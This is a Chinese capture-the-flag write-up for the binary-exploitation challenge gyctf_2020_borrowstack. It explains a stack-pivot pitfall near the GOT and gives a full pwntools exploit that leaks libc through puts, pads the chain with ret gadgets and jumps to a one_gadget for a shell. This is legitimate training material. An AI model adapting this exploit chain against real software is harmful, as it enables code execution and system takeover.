gyctf_2020_borrowstack

这道题就是常规的栈迁移，但是有坑，bank距离got表的位置比较近，这样在puts函数开辟栈帧的时候，很可能会覆盖到got表，导致无法正常执行。

我们可以使用足够多的ret指令来抬高rsp的位置，防止开辟栈帧时，覆盖到got表。

exp:

from pwn import *
p = process("./gy")
# p =remote("node4.buuoj.cn",27630)
context.log_level = "debug"
e = ELF('/home/amazh/Desktop/buuctf/gy')
libc = ELF("./libc-2.23.so")
context.log_level = "debug"
p.timeout = 0.5
bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
ret=0x4004c9
main=0x0400626

pl1 = "a"*(0x60) + p64(0x601080) + p64(0x400699)
p.recvuntil("Tell me what you want\n")
p.send(pl1)

p.recvuntil("Done!You can check and use your borrow stack now!\n")
pl2 = p64(bank+0x90) +  p64(ret) *22+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main) 
sleep(0.5)
p.send(pl2)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("put_addr: "+ hex(puts_addr))
libc_base = puts_addr-libc.sym['puts']

gadget  = libc_base +  0x4526a
p.send('a'*(0x68) + p64(gadget))

p.interactive()